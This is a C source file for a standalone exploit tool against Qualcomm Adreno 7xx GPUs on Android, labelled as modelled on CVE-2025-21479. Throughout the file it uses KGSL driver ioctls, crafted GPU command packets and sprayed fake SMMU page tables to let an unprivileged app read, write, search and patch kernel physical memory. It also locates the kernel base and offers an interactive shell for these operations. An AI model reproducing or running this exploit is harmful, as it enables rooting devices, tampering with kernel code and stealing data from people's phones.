exploit.c

/*
 * Adreno 7xx physical memory toolkit (CVE-2025-21479–style).
 * Read/write kernel physical RAM from unprivileged app via GPU SMMU bypass.
 * go fuck yourself scriptkid by unitdev
 */

#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/mman.h>

#include "adrenaline.h"

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

#define KGSL_CMDLIST_IB 0x00000001U
#define MAX_READ_DWORDS 152
#define MAX_READ_BYTES  (MAX_READ_DWORDS * 4)

static int kgsl_ctx_create0(int fd, uint32_t *ctx_id)
{
	struct kgsl_drawctxt_create req = { .flags = 0x00001812 };
	int ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_CREATE, &req);
	if (ret) return ret;
	*ctx_id = req.drawctxt_id;
	return 0;
}

static int kgsl_ctx_destroy(int fd, uint32_t ctx_id)
{
	struct kgsl_drawctxt_destroy req = { .drawctxt_id = ctx_id };
	return ioctl(fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &req);
}

static int kgsl_map(int fd, unsigned long addr, size_t len, uint64_t *gpuaddr)
{
	struct kgsl_map_user_mem req = {
		.len = len, .offset = 0, .hostptr = addr,
		.memtype = KGSL_USER_MEM_TYPE_ADDR,
	};
	int ret = ioctl(fd, IOCTL_KGSL_MAP_USER_MEM, &req);
	if (ret) return ret;
	*gpuaddr = req.gpuaddr;
	return 0;
}

static int kgsl_gpu_command_payload(int fd, uint32_t ctx_id, uint64_t gpuaddr,
	uint32_t cmdsize, uint32_t n, uint32_t target_idx, uint64_t target_cmd,
	uint32_t target_size)
{
	struct kgsl_gpu_command req = {
		.context_id = ctx_id,
		.cmdsize = sizeof(struct kgsl_command_object),
		.numcmds = n,
	};
	struct kgsl_command_object *cmds = calloc(n, sizeof(struct kgsl_command_object));
	if (!cmds) return -1;
	for (uint32_t i = 0; i < n; i++) {
		cmds[i].flags = KGSL_CMDLIST_IB;
		if (i == target_idx) {
			cmds[i].gpuaddr = target_cmd;
			cmds[i].size = target_size;
		} else {
			cmds[i].gpuaddr = gpuaddr + (i << 16);
			cmds[i].size = cmdsize;
		}
	}
	req.cmdlist = (unsigned long)cmds;
	int err = ioctl(fd, IOCTL_KGSL_GPU_COMMAND, &req);
	free(cmds);
	return err;
}

#define NPBUFS 256
#define LEVEL1_SHIFT 30
#define LEVEL1_MASK  (0x1ffUL << LEVEL1_SHIFT)
#define LEVEL2_SHIFT 21
#define LEVEL2_MASK  (0x1ffUL << LEVEL2_SHIFT)
#define LEVEL3_SHIFT 12
#define LEVEL3_MASK  (0x1ffUL << LEVEL3_SHIFT)
#define ENTRY_VALID  3
#define ENTRY_RW     (1 << 6)
#define ENTRY_MEMTYPE_NNC (3 << 2)
#define ENTRY_OUTER_SHARE (2 << 8)
#define ENTRY_AF     (1 << 10)
#define ENTRY_NG     (1 << 11)

static int setup_pagetables(uint8_t *tt0, uint32_t pages, uint32_t tt0phys,
	uint64_t fake_gpuaddr, uint64_t target_pa)
{
	for (uint32_t i = 0; i < pages; i++) {
		uint64_t *level_base = (uint64_t *)(tt0 + (i * PAGE_SIZE));
		memset(level_base, 0x45, PAGE_SIZE);

		uint64_t level1_index = (fake_gpuaddr & LEVEL1_MASK) >> LEVEL1_SHIFT;
		uint64_t level2_index = (fake_gpuaddr & LEVEL2_MASK) >> LEVEL2_SHIFT;
		uint64_t level3_index = (fake_gpuaddr & LEVEL3_MASK) >> LEVEL3_SHIFT;

		if (level1_index == level2_index || level1_index == level3_index ||
		    level2_index == level3_index)
			return -1;

		level_base[level1_index] = (uint64_t)tt0phys | ENTRY_VALID;
		level_base[level2_index] = (uint64_t)tt0phys | ENTRY_VALID;
		level_base[level3_index] = (uint64_t)(target_pa | ENTRY_VALID | ENTRY_RW |
			ENTRY_MEMTYPE_NNC | ENTRY_OUTER_SHARE | ENTRY_AF | ENTRY_NG);
		level_base[level3_index + 1] = (uint64_t)(tt0phys | ENTRY_VALID | ENTRY_RW |
			ENTRY_MEMTYPE_NNC | ENTRY_OUTER_SHARE | ENTRY_AF | ENTRY_NG);

		for (int j = 0; j < 16; j++) {
			uint64_t idx = level3_index + 2 + j;
			if (idx == level1_index || idx == level2_index || idx == level3_index)
				continue;
			level_base[idx] = (uint64_t)(target_pa + (i * 0x1000)) | ENTRY_VALID |
				ENTRY_RW | ENTRY_MEMTYPE_NNC | ENTRY_OUTER_SHARE | ENTRY_AF | ENTRY_NG;
		}
	}
	return 0;
}

#define CP_SET_DRAW_STATE  0x43
#define CP_SET_MODE        0x63
#define CP_SMMU_TABLE_UPDATE 0x53
#define CP_MEM_WRITE       0x3d
#define DRAW_STATE_MODE_BINNING 0x1
#define DRAW_STATE_MODE_GMEM   0x2
#define DRAW_STATE_MODE_BYPASS 0x4

static const uint64_t kFakeGpuAddr = 0x40403000;
static const uint64_t kCompletionMarker = 0x41414141;

static void sync_cacheline_to_gpu(const void *p)
{
	__asm volatile("dc cvac, %0" : : "r"(p) : "memory");
}

static void sync_cacheline_from_gpu(const void *p)
{
	__asm volatile("dc civac, %0" : : "r"(p) : "memory");
}

static uint32_t get_l1_dcache_size(void)
{
	uint64_t ctr_el0;
	__asm__("mrs %0, ctr_el0" : "=r"(ctr_el0));
	return 4U << ((ctr_el0 >> 16) & 0xf);
}

static void sync_to_gpu(void *start, void *end, uint32_t line_size)
{
	start = (void *)((uintptr_t)start & ~(line_size - 1));
	for (; start < end; start = (char *)start + line_size)
		sync_cacheline_to_gpu(start);
}

static void sync_from_gpu(void *start, void *end, uint32_t line_size)
{
	start = (void *)((uintptr_t)start & ~(line_size - 1));
	for (; start < end; start = (char *)start + line_size)
		sync_cacheline_from_gpu(start);
}

typedef struct phys_ctx {
	int fd;
	uint32_t ctx_id;
	uint32_t *payload_buf;
	uint64_t payload_gpuaddr;
	uint8_t *pbufs[NPBUFS];
	uint64_t pbuf_len;
	void *target_page;
	uint64_t phyaddr;
	uint32_t l1_dcache;
	uint64_t current_target_pa;
	int ok;
} phys_ctx_t;

static int do_gpu_phys_read(phys_ctx_t *ctx, uint64_t read_gpuaddr,
	unsigned int start_dword, unsigned int num_dwords)
{
	uint32_t *drawstate_buf = ctx->payload_buf + 0x100;
	uint64_t drawstate_gpuaddr = ctx->payload_gpuaddr + 0x100 * sizeof(uint32_t);
	uint32_t *c = drawstate_buf;

	*c++ = cp_type7_packet(CP_SMMU_TABLE_UPDATE, 4);
	c += cp_gpuaddr(c, ctx->phyaddr);
	*c++ = 0;
	*c++ = 0;
	c += cp_wait_for_me(c);
	c += cp_wait_for_idle(c);

	for (unsigned int i = 0; i < num_dwords; i++) {
		*c++ = cp_type7_packet(CP_MEM_TO_MEM, 5);
		*c++ = 0;
		c += cp_gpuaddr(c, kFakeGpuAddr + 0x1100 + 4 + 4 * i);
		c += cp_gpuaddr(c, read_gpuaddr + (start_dword + i) * 4);
	}
	*c++ = cp_type7_packet(CP_MEM_WRITE, 3);
	c += cp_gpuaddr(c, kFakeGpuAddr + 0x1100);
	*c++ = (uint32_t)kCompletionMarker;

	uint32_t *payload_cmds = ctx->payload_buf;
	*payload_cmds++ = cp_type7_packet(CP_SET_MODE, 1);
	*payload_cmds++ = 1;
	*payload_cmds++ = cp_type7_packet(CP_SET_DRAW_STATE, 3);
	*payload_cmds++ = (uint32_t)(c - drawstate_buf) |
		((DRAW_STATE_MODE_BINNING | DRAW_STATE_MODE_GMEM | DRAW_STATE_MODE_BYPASS) << 20);
	payload_cmds += cp_gpuaddr(payload_cmds, drawstate_gpuaddr);

	uint32_t cmd_size = (uint32_t)((payload_cmds - ctx->payload_buf) * sizeof(uint32_t));
	sync_to_gpu(ctx->payload_buf, ctx->payload_buf + PAGE_SIZE, ctx->l1_dcache);
	return kgsl_gpu_command_payload(ctx->fd, ctx->ctx_id, 0, 0, 1, 0,
		ctx->payload_gpuaddr, cmd_size);
}

static int do_gpu_phys_write(phys_ctx_t *ctx, uint64_t write_gpuaddr, uint32_t value)
{
	uint32_t *drawstate_buf = ctx->payload_buf + 0x100;
	uint64_t drawstate_gpuaddr = ctx->payload_gpuaddr + 0x100 * sizeof(uint32_t);
	uint32_t *c = drawstate_buf;

	*c++ = cp_type7_packet(CP_SMMU_TABLE_UPDATE, 4);
	c += cp_gpuaddr(c, ctx->phyaddr);
	*c++ = 0;
	*c++ = 0;
	c += cp_wait_for_me(c);
	c += cp_wait_for_idle(c);
	*c++ = cp_type7_packet(CP_MEM_WRITE, 3);
	c += cp_gpuaddr(c, write_gpuaddr);
	*c++ = value;
	*c++ = cp_type7_packet(CP_MEM_WRITE, 3);
	c += cp_gpuaddr(c, kFakeGpuAddr + 0x1100);
	*c++ = (uint32_t)kCompletionMarker;

	uint32_t *payload_cmds = ctx->payload_buf;
	*payload_cmds++ = cp_type7_packet(CP_SET_MODE, 1);
	*payload_cmds++ = 1;
	*payload_cmds++ = cp_type7_packet(CP_SET_DRAW_STATE, 3);
	*payload_cmds++ = (uint32_t)(c - drawstate_buf) |
		((DRAW_STATE_MODE_BINNING | DRAW_STATE_MODE_GMEM | DRAW_STATE_MODE_BYPASS) << 20);
	payload_cmds += cp_gpuaddr(payload_cmds, drawstate_gpuaddr);

	uint32_t cmd_size = (uint32_t)((payload_cmds - ctx->payload_buf) * sizeof(uint32_t));
	sync_to_gpu(ctx->payload_buf, ctx->payload_buf + PAGE_SIZE, ctx->l1_dcache);
	return kgsl_gpu_command_payload(ctx->fd, ctx->ctx_id, 0, 0, 1, 0,
		ctx->payload_gpuaddr, cmd_size);
}

static void set_target_pa(phys_ctx_t *ctx, uint64_t pa)
{
	if (ctx->current_target_pa == (pa & ~0xfffUL))
		return;
	ctx->current_target_pa = pa & ~0xfffUL;
	for (int i = 0; i < NPBUFS; i++) {
		if (setup_pagetables(ctx->pbufs[i], (uint32_t)(ctx->pbuf_len / PAGE_SIZE),
				(uint32_t)(ctx->phyaddr & 0xffffffff), kFakeGpuAddr, ctx->current_target_pa) != 0)
			continue;
		sync_to_gpu(ctx->pbufs[i], ctx->pbufs[i] + ctx->pbuf_len, ctx->l1_dcache);
	}
}

static int read_phys_32(phys_ctx_t *ctx, uint64_t pa, uint32_t *out)
{
	set_target_pa(ctx, pa);
	if (do_gpu_phys_read(ctx, kFakeGpuAddr + (pa & 0xfff), 0, 1) != 0)
		return -1;
	usleep(50000);
	sync_from_gpu(ctx->target_page, (char *)ctx->target_page + PAGE_SIZE, ctx->l1_dcache);
	*out = *(uint32_t *)((char *)ctx->target_page + 0x104);
	return 0;
}

static int read_phys_buf(phys_ctx_t *ctx, uint64_t pa, void *buf, size_t len)
{
	if (len > MAX_READ_BYTES) len = MAX_READ_BYTES;
	unsigned int num_dwords = (unsigned int)((len + 3) / 4);
	set_target_pa(ctx, pa);
	if (do_gpu_phys_read(ctx, kFakeGpuAddr + (pa & 0xfff), 0, num_dwords) != 0)
		return -1;
	usleep(50000);
	sync_from_gpu(ctx->target_page, (char *)ctx->target_page + PAGE_SIZE, ctx->l1_dcache);
	memcpy(buf, (char *)ctx->target_page + 0x104, num_dwords * 4);
	return (int)(num_dwords * 4);
}

static int write_phys_32(phys_ctx_t *ctx, uint64_t pa, uint32_t val)
{
	set_target_pa(ctx, pa);
	if (do_gpu_phys_write(ctx, kFakeGpuAddr + (pa & 0xfff), val) != 0)
		return -1;
	usleep(50000);
	sync_from_gpu(ctx->target_page, (char *)ctx->target_page + PAGE_SIZE, ctx->l1_dcache);
	if (*(uint32_t *)((char *)ctx->target_page + 0x100) != (uint32_t)kCompletionMarker)
		return -1;
	return 0;
}


static int write_phys_buf(phys_ctx_t *ctx, uint64_t pa, const void *buf, size_t len)
{
	if (len > 256) len = 256;
	const uint32_t *dwords = (const uint32_t *)buf;
	size_t ndwords = (len + 3) / 4;
	for (size_t i = 0; i < ndwords; i++) {
		if (write_phys_32(ctx, pa + i * 4, dwords[i]) != 0)
			return -1;
	}
	return (int)(ndwords * 4);
}

static const uint64_t spray_phys_addrs[] = { 0xfebeb000, 0xd0b3b000, 0xbe690000, 0xd5cf0000 };
#define NSPRAY (sizeof(spray_phys_addrs)/sizeof(spray_phys_addrs[0]))

static void *find_target_page(phys_ctx_t *ctx, uint64_t test_pa)
{
	for (int i = 0; i < NPBUFS; i++) {
		for (size_t off = 0; off < ctx->pbuf_len; off += PAGE_SIZE) {
			void *page_start = ctx->pbufs[i] + off;
			sync_from_gpu(page_start, page_start + PAGE_SIZE, ctx->l1_dcache);
			if (*(uint32_t *)((char *)page_start + 0x100) == (uint32_t)kCompletionMarker)
				return page_start;
		}
	}
	return NULL;
}

static int init_phys_ctx(phys_ctx_t *ctx)
{
	memset(ctx, 0, sizeof(*ctx));
	ctx->l1_dcache = get_l1_dcache_size();
	ctx->pbuf_len = PAGE_SIZE * 4096;
	ctx->current_target_pa = UINT64_MAX;

	for (int attempt = 0; attempt < (int)NSPRAY; attempt++) {
		uint64_t phyaddr = getenv("EXPLOIT_PHYADDR") ?
			strtoull(getenv("EXPLOIT_PHYADDR"), NULL, 0) : spray_phys_addrs[attempt];

		for (int i = 0; i < NPBUFS; i++) {
			ctx->pbufs[i] = mmap(NULL, ctx->pbuf_len, PROT_READ | PROT_WRITE,
				MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
			if (ctx->pbufs[i] == MAP_FAILED) {
				fprintf(stderr, "mmap spray failed (%d)\n", i);
				for (int j = 0; j < i; j++) munmap(ctx->pbufs[j], ctx->pbuf_len);
				goto next_attempt;
			}
			if (setup_pagetables(ctx->pbufs[i], (uint32_t)(ctx->pbuf_len / PAGE_SIZE),
					(uint32_t)(phyaddr & 0xffffffff), kFakeGpuAddr, 0xA8000000) != 0) {
				for (int j = 0; j <= i; j++) munmap(ctx->pbufs[j], ctx->pbuf_len);
				goto next_attempt;
			}
			sync_to_gpu(ctx->pbufs[i], ctx->pbufs[i] + ctx->pbuf_len, ctx->l1_dcache);
		}

		ctx->fd = open("/dev/kgsl-3d0", O_RDWR | O_CLOEXEC);
		if (ctx->fd < 0) {
			fprintf(stderr, "open kgsl: %s\n", strerror(errno));
			for (int i = 0; i < NPBUFS; i++) munmap(ctx->pbufs[i], ctx->pbuf_len);
			return -1;
		}

		if (kgsl_ctx_create0(ctx->fd, &ctx->ctx_id) != 0) {
			close(ctx->fd);
			for (int i = 0; i < NPBUFS; i++) munmap(ctx->pbufs[i], ctx->pbuf_len);
			return -1;
		}

		ctx->payload_buf = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE,
			MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
		if (ctx->payload_buf == MAP_FAILED) {
			kgsl_ctx_destroy(ctx->fd, ctx->ctx_id);
			close(ctx->fd);
			for (int i = 0; i < NPBUFS; i++) munmap(ctx->pbufs[i], ctx->pbuf_len);
			return -1;
		}
		if (kgsl_map(ctx->fd, (unsigned long)ctx->payload_buf, PAGE_SIZE, &ctx->payload_gpuaddr) != 0) {
			munmap(ctx->payload_buf, PAGE_SIZE);
			kgsl_ctx_destroy(ctx->fd, ctx->ctx_id);
			close(ctx->fd);
			for (int i = 0; i < NPBUFS; i++) munmap(ctx->pbufs[i], ctx->pbuf_len);
			return -1;
		}

		ctx->phyaddr = phyaddr;
		ctx->current_target_pa = 0xA8000000;
		sync_to_gpu(ctx->payload_buf, ctx->payload_buf + PAGE_SIZE, ctx->l1_dcache);

		if (do_gpu_phys_read(ctx, kFakeGpuAddr + 4, 0, 1) != 0) {
			munmap(ctx->payload_buf, PAGE_SIZE);
			kgsl_ctx_destroy(ctx->fd, ctx->ctx_id);
			close(ctx->fd);
			for (int i = 0; i < NPBUFS; i++) munmap(ctx->pbufs[i], ctx->pbuf_len);
			goto next_attempt;
		}
		usleep(100000);
		ctx->target_page = find_target_page(ctx, 0xA8000004);
		if (ctx->target_page) {
			ctx->ok = 1;
			return 0;
		}

		munmap(ctx->payload_buf, PAGE_SIZE);
		kgsl_ctx_destroy(ctx->fd, ctx->ctx_id);
		close(ctx->fd);
		for (int i = 0; i < NPBUFS; i++) munmap(ctx->pbufs[i], ctx->pbuf_len);
next_attempt:
		if (attempt < (int)NSPRAY - 1)
			fprintf(stderr, "spray attempt %d failed, retry...\n", attempt + 1);
	}

	fprintf(stderr, "all spray attempts failed. try EXPLOIT_PHYADDR=0x... or EXPLOIT_ATTEMPT=0..%d\n", (int)NSPRAY-1);
	return -1;
}

static void shutdown_phys_ctx(phys_ctx_t *ctx)
{
	if (!ctx->ok) return;
	kgsl_ctx_destroy(ctx->fd, ctx->ctx_id);
	close(ctx->fd);
	munmap(ctx->payload_buf, PAGE_SIZE);
	for (int i = 0; i < NPBUFS; i++)
		if (ctx->pbufs[i]) munmap(ctx->pbufs[i], ctx->pbuf_len);
	ctx->ok = 0;
}

static void hexdump(const uint8_t *buf, size_t len, uint64_t base_addr)
{
	for (size_t i = 0; i < len; i += 16) {
		printf("%08lx  ", base_addr + i);
		for (size_t j = 0; j < 16 && i + j < len; j++)
			printf("%02x ", buf[i + j]);
		for (size_t j = (size_t)(16 - (len - i) % 16) % 16; j > 0 && j < 16; j++)
			printf("   ");
		printf(" |");
		for (size_t j = 0; j < 16 && i + j < len; j++) {
			uint8_t c = buf[i + j];
			putchar(c >= 32 && c < 127 ? c : '.');
		}
		printf("|\n");
	}
}

static void cmd_dump(phys_ctx_t *ctx, uint64_t pa, size_t len)
{
	uint8_t *buf = malloc(MAX_READ_BYTES);
	if (!buf) { fprintf(stderr, "oom\n"); return; }
	if (len == 0) len = 256;
	if (len > 4096) len = 4096;

	size_t off = 0;
	while (off < len) {
		size_t chunk = len - off;
		if (chunk > MAX_READ_BYTES) chunk = MAX_READ_BYTES;
		int n = read_phys_buf(ctx, pa + off, buf, chunk);
		if (n <= 0) { fprintf(stderr, "read failed at 0x%lx\n", pa + off); break; }
		hexdump(buf, (size_t)n, pa + off);
		off += (size_t)n;
	}
	free(buf);
}

static void cmd_search(phys_ctx_t *ctx, uint64_t start, size_t range, uint32_t needle)
{
	uint8_t *buf = malloc(MAX_READ_BYTES);
	if (!buf) { fprintf(stderr, "oom\n"); return; }
	for (size_t off = 0; off < range; off += MAX_READ_BYTES) {
		size_t chunk = range - off;
		if (chunk > MAX_READ_BYTES) chunk = MAX_READ_BYTES;
		int n = read_phys_buf(ctx, start + off, buf, chunk);
		if (n <= 0) break;
		for (int i = 0; i + 4 <= n; i += 4) {
			uint32_t val;
			memcpy(&val, buf + i, 4);
			if (val == needle)
				printf("0x%lx: 0x%08x\n", start + off + i, val);
		}
	}
	free(buf);
}

#define ARM64_KERNEL_MAGIC 0x644d5241u  /* "ARMd" at image +0x38 */
static const uint64_t kernel_candidate_bases[] = {
	0xa8000000, 0xa0000000, 0xb8000000, 0x88000000, 0x80000000,
	0xac000000, 0x9c000000, 0xbc000000
};
#define NKERNEL_CANDIDATES (sizeof(kernel_candidate_bases)/sizeof(kernel_candidate_bases[0]))

static int find_kernel_base(phys_ctx_t *ctx, uint64_t *out_base)
{
	uint32_t val;
	for (size_t i = 0; i < NKERNEL_CANDIDATES; i++) {
		uint64_t base = kernel_candidate_bases[i];
		if (read_phys_32(ctx, base + 0x38, &val) != 0) continue;
		if (val == ARM64_KERNEL_MAGIC) {
			*out_base = base;
			return 0;
		}
	}
	return -1;
}

static void cmd_kernel(phys_ctx_t *ctx)
{
	uint64_t base;
	if (find_kernel_base(ctx, &base) == 0)
		printf("kernel_phys_base: 0x%lx (ARMd @ +0x38)\n", base);
	else
		fprintf(stderr, "kernel base not found in known candidates\n");
}

static void cmd_patch(phys_ctx_t *ctx, uint64_t pa, char **hex_dwords, int count)
{
	for (int i = 0; i < count; i++) {
		uint32_t val = (uint32_t)strtoul(hex_dwords[i], NULL, 0);
		if (write_phys_32(ctx, pa + (uint64_t)i * 4, val) != 0) {
			fprintf(stderr, "patch failed at 0x%lx\n", pa + (uint64_t)i * 4);
			return;
		}
	}
	printf("patched %d dwords at 0x%lx\n", count, pa);
}

static void print_map(void)
{
	printf("Known physical regions (Android/Qualcomm typical):\n");
	printf("  0x00000000 - 0x0fffffff   DDR (device-dependent size)\n");
	printf("  0x80000000 - 0xbfffffff   kernel identity map / vmalloc\n");
	printf("  0xa8000000 - 0xa80fffff   kernel .text (example base)\n");
	printf("  0xfc000000 - 0xfd400000   Adreno global mappings (scratch, ringbuffer)\n");
	printf("  Use 'kernel' to detect kernel base. /proc/iomem for full layout.\n");
}

static void print_help(void)
{
	printf("  read <addr>           read one dword at physical addr (hex)\n");
	printf("  dump <addr> [len]     hex dump at addr, default 256 bytes\n");
	printf("  write <addr> <val>   write one dword (hex)\n");
	printf("  patch <addr> <dword> [dword...]  write multiple dwords (patch code/ptr)\n");
	printf("  search <addr> <len> <val>  search for 32-bit value in range\n");
	printf("  kernel                detect kernel phys base (ARMd signature)\n");
	printf("  map                   print memory map hints\n");
	printf("  help                  this help\n");
	printf("  quit / exit           exit\n");
}

int main(int argc, char **argv)
{
	phys_ctx_t ctx;
	if (init_phys_ctx(&ctx) != 0)
		return 1;

	if (argc > 1) {
		if (strcmp(argv[1], "read") == 0 && argc >= 3) {
			uint64_t pa = strtoull(argv[2], NULL, 0);
			uint32_t val;
			if (read_phys_32(&ctx, pa, &val) == 0)
				printf("0x%lx: 0x%08x\n", pa, val);
			else
				fprintf(stderr, "read failed\n");
		} else if (strcmp(argv[1], "dump") == 0 && argc >= 3) {
			uint64_t pa = strtoull(argv[2], NULL, 0);
			size_t len = argc >= 4 ? (size_t)strtoul(argv[3], NULL, 0) : 256;
			cmd_dump(&ctx, pa, len);
		} else if (strcmp(argv[1], "write") == 0 && argc >= 4) {
			uint64_t pa = strtoull(argv[2], NULL, 0);
			uint32_t val = (uint32_t)strtoul(argv[3], NULL, 0);
			if (write_phys_32(&ctx, pa, val) == 0)
				printf("wrote 0x%08x to 0x%lx\n", val, pa);
			else
				fprintf(stderr, "write failed\n");
		} else if (strcmp(argv[1], "map") == 0) {
			print_map();
		} else if (strcmp(argv[1], "kernel") == 0) {
			cmd_kernel(&ctx);
		} else if (strcmp(argv[1], "patch") == 0 && argc >= 4) {
			uint64_t pa = strtoull(argv[2], NULL, 0);
			cmd_patch(&ctx, pa, argv + 3, argc - 3);
		} else if (strcmp(argv[1], "help") == 0) {
			print_help();
		} else {
			fprintf(stderr, "usage: %s [read|dump|write|patch|search|kernel|map|help] [args...]\n", argv[0]);
			fprintf(stderr, "  or run with no args for interactive mode.\n");
		}
		shutdown_phys_ctx(&ctx);
		return 0;
	}

	printf("phys r/w ready. phyaddr=0x%lx. type 'help' for commands.\n", ctx.phyaddr);
	char line[512];
	while (fgets(line, sizeof(line), stdin)) {
		char *cmd = line;
		while (*cmd == ' ' || *cmd == '\t') cmd++;
		if (!*cmd || *cmd == '\n') continue;
		char *args[32];
		int n = 0;
		for (char *p = cmd; n < 32; p = NULL) {
			char *t = strtok(p, " \t\n");
			if (!t) break;
			args[n++] = t;
		}
		if (n == 0) continue;

		if (strcmp(args[0], "quit") == 0 || strcmp(args[0], "exit") == 0)
			break;
		if (strcmp(args[0], "help") == 0) {
			print_help();
			continue;
		}
		if (strcmp(args[0], "map") == 0) {
			print_map();
			continue;
		}
		if (strcmp(args[0], "read") == 0 && n >= 2) {
			uint64_t pa = strtoull(args[1], NULL, 0);
			uint32_t val;
			if (read_phys_32(&ctx, pa, &val) == 0)
				printf("0x%lx: 0x%08x\n", pa, val);
			else
				fprintf(stderr, "read failed\n");
			continue;
		}
		if (strcmp(args[0], "dump") == 0 && n >= 2) {
			uint64_t pa = strtoull(args[1], NULL, 0);
			size_t len = n >= 3 ? (size_t)strtoul(args[2], NULL, 0) : 256;
			cmd_dump(&ctx, pa, len);
			continue;
		}
		if (strcmp(args[0], "write") == 0 && n >= 3) {
			uint64_t pa = strtoull(args[1], NULL, 0);
			uint32_t val = (uint32_t)strtoul(args[2], NULL, 0);
			if (write_phys_32(&ctx, pa, val) == 0)
				printf("wrote 0x%08x to 0x%lx\n", val, pa);
			else
				fprintf(stderr, "write failed\n");
			continue;
		}
		if (strcmp(args[0], "search") == 0 && n >= 4) {
			uint64_t start = strtoull(args[1], NULL, 0);
			size_t range = (size_t)strtoul(args[2], NULL, 0);
			uint32_t needle = (uint32_t)strtoul(args[3], NULL, 0);
			cmd_search(&ctx, start, range, needle);
			continue;
		}
		if (strcmp(args[0], "kernel") == 0) {
			cmd_kernel(&ctx);
			continue;
		}
		if (strcmp(args[0], "patch") == 0 && n >= 3) {
			uint64_t pa = strtoull(args[1], NULL, 0);
			cmd_patch(&ctx, pa, args + 2, n - 2);
			continue;
		}
		fprintf(stderr, "unknown command. type 'help'.\n");
	}

	shutdown_phys_ctx(&ctx);
	return 0;
}